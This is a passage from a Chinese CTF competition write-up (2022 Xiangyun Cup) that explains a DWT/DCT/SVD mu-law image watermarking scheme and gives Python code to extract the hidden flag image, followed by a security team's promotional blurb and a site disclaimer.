115img_dct_coeff = cv2.dct(block_img)
116U, S, VH = np.linalg.svd(img_dct_coeff)
117largest_singular_value = np.max(S)
118transformed_1 = mu_law_transformation(largest_singular_value, self.mu_law_X_max,
119self.mu_law_mu)
120transformed_2 = inverse_mu_law_first_step(transformed_1, some_bit, self.delta)
121transformed_3 = inverse_mu_law_transformation(transformed_2, self.mu_law_X_max,
122self.mu_law_mu)
123for singular_index in range(self.block_shape):
124if S[singular_index] == largest_singular_value:
125S[singular_index] = transformed_3
126reconstructed_dct_coeff = np.dot(np.dot(U, np.diag(S)),
127VH)
128reconstructed_result = cv2.idct(reconstructed_dct_coeff)
129result_image[img_index] = reconstructed_result
130return result_image
131
132def get_embedded_img(self, watermark):
133anorld_result = anorld(watermark, self.arnold_factor)
134binarized_anorld_result = binarization(anorld_result)
135white_black_bits = self.get_white_black_bit(binarized_anorld_result)
136
137white_black_bytes = self.bits_to_bytes(white_black_bits)
138rsc = RSCodec(self.rsc_factor)
139rscode_result = bytes(rsc.encode(white_black_bytes))
140rscode_bits_part1 = self.pad_bits_to_max_bits_size(rscode_result[:self.max_bytes_size])
141rscode_bits_part2 = self.pad_bits_to_max_bits_size(rscode_result[self.max_bytes_size:])
142
143carrier_ycrcb = cv2.cvtColor(self.carrier, cv2.COLOR_BGR2YCrCb)
144embed_y, carrier_cr, carrier_cb = cv2.split(carrier_ycrcb)
145carrier_cr_haar_wavelet_cA, carrier_cr_haar_wavelet_cH_cV_cD = pywt.dwt2(carrier_cr, 'haar')
146carrier_cb_haar_wavelet_cA, carrier_cb_haar_wavelet_cH_cV_cD = pywt.dwt2(carrier_cb, 'haar')
147cr_haar_cA_blocks = image_to_blocks(carrier_cr_haar_wavelet_cA,
148(self.block_shape, self.block_shape))
149cb_haar_cA_blocks = image_to_blocks(carrier_cb_haar_wavelet_cA,
150(self.block_shape, self.block_shape))
151embedded_cr_haar_blocks = self.dct_info_embed(cr_haar_cA_blocks, rscode_bits_part1)
152embedded_cr_haar = blocks_to_image(embedded_cr_haar_blocks,
153(self.carrier_cA_height, self.carrier_cA_width))
154embedded_cb_haar_blocks = self.dct_info_embed(cb_haar_cA_blocks, rscode_bits_part2)
155embedded_cb_haar = blocks_to_image(embedded_cb_haar_blocks,
156(self.carrier_cA_height, self.carrier_cA_width))
157embed_cr = pywt.idwt2((embedded_cr_haar, carrier_cr_haar_wavelet_cH_cV_cD), 'haar')
158embed_cb = pywt.idwt2((embedded_cb_haar, carrier_cb_haar_wavelet_cH_cV_cD), 'haar')
159merged_embed = cv2.merge(
160[embed_y,
161embed_cr.astype('float32'),
162embed_cb.astype('float32')])
163ans = cv2.cvtColor(merged_embed, cv2.COLOR_YCrCb2BGR)
164return ans
165
166
167if __name__ == '__main__':
168carrier = cv2.imread('test_images/lena.png')
169watermark = cv2.imread('test_images/flag.png', cv2.IMREAD_GRAYSCALE)
170wm = Watermark(carrier)
171embedded = wm.get_embedded_img(watermark)
172cv2.imwrite('embedded.png', embedded)

发现大致流程为:

  1. 将flag图像进行anorld加密

  2. flag图像二值化、reshape、bits转为bytes

  3. 将RS码作为flag信息的纠错方式

  4. 将载荷图像从RGB空间转到YCrCb空间中

  5. Cr通道和Cb通道做离散Haar小波变换

  6. 小波系数分成8x8的block

  7. 对每个block,DCT后做奇异值分解,将最大的特征值做mu-law变换,并且将flag图像的一个bit嵌入至特征值中,再做mu-law逆变换

  8. 调整后的DCT系数做IDCT

  9. 8x8block变换回小波系数

  10. 做Haar小波逆变换
    所以关键在第7步中:我们只要能在mu-law变换后的值的基础上拿到bit,则能恢复出flag图像内容;而对嵌入函数进行分析,发现是对小数位进行嵌入。

然后再用RS码进行纠错、变回flag图像即可。

  1import math
2import cv2
3import pywt
4import numpy as np
5from reedsolo import RSCodec
6
7
8def anorld(img, anorld_factor):
9num_iteration, a1, a2 = anorld_factor
10result_img = np.zeros(img.shape)
11h, w = img.shape[:2]
12for current_iteration in range(num_iteration):
13for i in range(h):
14for j in range(w):
15result_j = (j + a1 * i) % w
16result_i = (
17a2 * j +
18(a1 * a2 + 1) * i) % h
19result_img[result_i, result_j] = img[i, j]
20img = result_img.copy()
21return result_img
22
23def anorld_decrypt(img, anorld_factor):
24num_iteration, a1, a2 = anorld_factor
25result_img = np.zeros(img.shape)
26h, w = img.shape[:2]
27for current_iteration in range(num_iteration):
28for i in range(h):
29for j in range(w):
30result_j = (j + a1 * i) % w
31result_i = (
32a2 * j +
33(a1 * a2 + 1) * i) % h
34result_img[i, j] = img[result_i, result_j]
35img = result_img.copy()
36return result_img
37
38
39def image_to_blocks(haar_coefficient, block_size):
40h, w = haar_coefficient.shape[:2]
41block_size_x, block_size_y = block_size
42stride_params = (h // block_size_x, w // block_size_y,
43block_size_x, block_size_y)
44strides = haar_coefficient.itemsize * np.array(
45[w * block_size_x, block_size_y, w, 1])
46result_coefficients = np.lib.stride_tricks.as_strided(haar_coefficient, stride_params,
47strides).astype('float64')
48result_coefficients = np.reshape(
49result_coefficients,
50(stride_params[0] * stride_params[1], block_size_x, block_size_y))
51return result_coefficients
52
53
54def blocks_to_image(blocks, carrier_cA_shape):
55carrier_cA_height, carrier_cA_width = carrier_cA_shape[:2]
56block_height, block_width = blocks.shape[-2:]
57reshaped_shape = (carrier_cA_height // block_height, carrier_cA_width // block_width,
58block_height, block_width)
59blocks = np.reshape(blocks, reshaped_shape)
60result_image_rows = []
61for block_row in blocks:
62result_image_rows.append(np.concatenate(block_row, axis=1))
63result_image = np.concatenate(result_image_rows, axis=0)
64return result_image
65
66
67def binarization(img):
68result_img = ((img > 128) * 255).astype('uint8')
69return result_img
70
71
72def mu_law_transformation(img, mu_law_X_max, mu_law_mu):
73return np.log(1 + mu_law_mu *
74(np.abs(img) / mu_law_X_max)) / np.log(1 + mu_law_mu)
75
76
77def inverse_mu_law_transformation(img, mu_law_X_max, mu_law_mu):
78return (mu_law_X_max / mu_law_mu) * (np.power(1 + mu_law_mu, np.abs(img)) - 1
79)
80
81
82def inverse_mu_law_first_step(img, some_bit, some_delta):
83result = (np.round(img * 1000 / some_delta) * some_delta +
84(-1)**(some_bit + 1) * some_delta / 4.) / 1000
85return result
86
87def my_mu_law_decode(c, some_delta):
88result = (4000 * c + some_delta) / (4 * some_delta)
89result = result - int(result)
90if (0.25 <= result < 0.75):
91return 1
92else:
93return 0
94
95
96class WatermarkDecoder:
97def __init__(self, img):
98self.block_shape = 4
99self.arnold_factor = (6, 20, 22)
100self.rsc_factor = 100
101self.mu_law_mu = 100
102self.mu_law_X_max = 8000
103self.delta = 15
104self.embedded = img.astype('float32')
105height, width = self.embedded.shape[:2]
106self.carrier_cA_height = height // 2
107self.carrier_cA_width = width // 2
108self.watermark_height = self.carrier_cA_height // self.block_shape
109self.watermark_width = self.carrier_cA_width // self.block_shape
110self.max_bits_size = self.watermark_height * self.watermark_width
111self.max_bytes_size = self.max_bits_size // 8
112self.rsc_size = len(
113RSCodec(self.rsc_factor).encode(b'x00' * self.max_bytes_size))
114
115def get_white_black_bit(self, white_black_img):
116img_lsb = (white_black_img % 2).flatten()
117if len(img_lsb) < self.max_bits_size:
118img_lsb = np.hstack(
119(img_lsb,
120np.zeros(self.max_bits_size - len(img_lsb)))).astype('uint8')
121return img_lsb
122
123def bits_to_bytes(self, some_bits):
124some_bytes = np.packbits(some_bits).tobytes()
125return some_bytes
126def bytes_to_bits(self, some_bytes):
127some_bits = ''.join([f'{x:08b}' for x in some_bytes])
128some_bits = [int(x) for x in some_bits]
129return some_bits
130
131def pad_bits_to_max_bits_size(self, some_bytes):
132some_bits = np.unpackbits(np.frombuffer(some_bytes, dtype='uint8'))
133if len(some_bits) < self.max_bits_size:
134some_bits = np.hstack(
135(some_bits,
136np.zeros(self.max_bits_size - len(some_bits)))).astype('uint8')
137return some_bits
138
139def dct_info_embed(self, block_img_list, some_bits):
140result_image = block_img_list.copy()
141for img_index, block_img in enumerate(block_img_list):
142some_bit = some_bits[img_index]
143img_dct_coeff = cv2.dct(block_img)
144U, S, VH = np.linalg.svd(img_dct_coeff)
145largest_singular_value = np.max(S)
146transformed_1 = mu_law_transformation(largest_singular_value, self.mu_law_X_max,
147self.mu_law_mu)
148'''
149embed_bit
150'''
151transformed_2 = inverse_mu_law_first_step(transformed_1, some_bit, self.delta)
152transformed_3 = inverse_mu_law_transformation(transformed_2, self.mu_law_X_max,
153self.mu_law_mu)
154print(f'{some_bit = }, {largest_singular_value = }, {transformed_3 = }')
155for singular_index in range(self.block_shape):
156if S[singular_index] == largest_singular_value:
157S[singular_index] = transformed_3
158reconstructed_dct_coeff = np.dot(np.dot(U, np.diag(S)),
159VH)
160reconstructed_result = cv2.idct(reconstructed_dct_coeff)
161result_image[img_index] = reconstructed_result
162return result_image
163def dct_info_extract(self, block_img_list):
164result_bits = []
165for img_index, block_img in enumerate(block_img_list):
166img_dct_coeff = cv2.dct(block_img)
167U, S, VH = np.linalg.svd(img_dct_coeff)
168largest_singular_value = np.max(S)
169transformed_1 = mu_law_transformation(largest_singular_value, self.mu_law_X_max,
170self.mu_law_mu)
171decoded_bit = my_mu_law_decode(transformed_1, self.delta)
172result_bits.append(decoded_bit)
173return result_bits
174
175def my_decode_watermark(self):
176embedded_ycrcb = cv2.cvtColor(self.embedded, cv2.COLOR_BGR2YCrCb)
177embed_y, embedded_cr, embedded_cb = cv2.split(embedded_ycrcb)
178embedded_cr_haar_wavelet_cA, embedded_cr_haar_wavelet_cH_cV_cD = pywt.dwt2(embedded_cr, 'haar')
179embedded_cb_haar_wavelet_cA, embedded_cb_haar_wavelet_cH_cV_cD = pywt.dwt2(embedded_cb, 'haar')
180cr_haar_cA_blocks = image_to_blocks(embedded_cr_haar_wavelet_cA,
181(self.block_shape, self.block_shape))
182cb_haar_cA_blocks = image_to_blocks(embedded_cb_haar_wavelet_cA,
183(self.block_shape, self.block_shape))
184extracted_cr_bits = self.dct_info_extract(cr_haar_cA_blocks)
185extracted_cb_bits = self.dct_info_extract(cb_haar_cA_blocks)
186
187extracted_all_bits = extracted_cr_bits + extracted_cb_bits
188needed_bytes = self.bits_to_bytes(extracted_all_bits)[:11900]
189rsc = RSCodec(self.rsc_factor)
190dec, dec_full, errata_pos_all = rsc.decode(needed_bytes)
191dec_bits = self.bytes_to_bits(dec)
192dec_bit_img = np.array(dec_bits).reshape((self.watermark_height, self.watermark_width))
193dec_bit_img = (255 * dec_bit_img).astype(np.uint8)
194result = anorld_decrypt(dec_bit_img, self.arnold_factor)
195
196return result
197
198
199if __name__ == '__main__':
200embedded = cv2.imread('embedded.png')
201print(embedded.min(), embedded.max())
202wmd = WatermarkDecoder(embedded)
203decoded_watermark = wmd.my_decode_watermark()
204cv2.imwrite('decode.png', decoded_watermark)









-END-

2022祥云杯WP出炉如果本文对您有帮助,来个点赞在看就是对我们莫大的鼓励。2022祥云杯WP出炉



  推荐关注:





2022祥云杯WP出炉
弱口令安全实验室正式成立于2022年1月,是思而听(山东)网络科技有限公司旗下的网络安全研究团队,专注于网络攻防技术渗透测试硬件安全安全开发网络安全赛事以及网安线上教育领域研究几大板块。
团队社群氛围浓厚,同时背靠思而听(山东)网络科技有限公司旗下的“知行网络安全教育平台”作为社区,容纳同好在安全领域不断进行技术提升以及技术分享,从而形成良好闭环。

团队全员均持CISP-PTE(注册信息安全专业人员-渗透测试工程师)认证,积极参与着各类网络安全赛事并屡获佳绩,同时多次高水准的完成了国家级、省部级攻防演习活动以及相关重报工作,均得到甲方的一致青睐与肯定。

欢迎对网络安全技术感兴趣的你来加入我们实验室,可在公众号内依次点击【关于我们】-【加入我们】来获取联系方式~



原文始发于微信公众号(弱口令安全实验室):2022祥云杯WP出炉

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月4日14:38:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  2022祥云杯WP出炉 http://cn-sec.com/archives/1391140.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: